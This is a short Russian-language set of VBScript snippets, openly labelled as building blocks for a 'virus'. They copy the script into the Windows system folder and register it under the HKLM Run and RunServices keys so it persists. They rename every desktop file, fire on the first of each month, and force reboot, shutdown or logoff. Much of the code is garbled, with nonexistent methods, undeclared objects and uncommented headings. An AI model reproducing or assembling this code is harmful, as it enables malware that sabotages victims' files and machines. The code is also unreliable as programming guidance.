Копирование
str = "От куда"
If FileSystemObject.filecopy(str) = True Then
    FileSystemObject.copyfile "От куда" ,"КУда"
    ElseIf FileSystemObject.foldercopy(str) = True Then
    FileSystemObject.copyfolder str, "Куда"
    FileSystemObject.copyfolder str, True
End If

' Запускаться при каждой перезагрузке
Set File2 = FileSystemObject.GetFile(WScript.ScriptFullName)
File2.Copy ("c:\windows\System\Gigabyte.vbs")
Shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Gigabyte", "C:\WINDOWS\SYSTEM\Gigabyte.vbs"
Shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Gigabyte", "C:\WINDOWS\SYSTEM\Gigabyte.vbs"

Переименование всех файлов, находящихся на Робочем столе на "Новое_Назвыание"
For Each Folder In Shell.SpecialFolders
If right(folder,12) = "Рабочий стол" Then    
Set tf = FileSystemObject.getfolder(folder)
Set af = tf.files
For Each fl In af
Set file = FileSystemObject.getfile(fl):t = t+1
file.name = "Новое_Назвыание" & t
Next
End If
Next

Запускать вирус каждое 1 число каждого месяца
If Day(Date)<>1 Then WScript.quit

Перезагрузка с таймером и сообщением
s.run "shutdown -r -t 60 -c ""Перезагрузка"" -f",1    

Выключение с таймером и сообщением
s.run "shutdown -s -t 60 -c ""Пака-ка-ка-ка-кай"" -f",1    

Завершение сианца
s.run "shutdown -l -t 60 -c ""Пакакай"" -f",1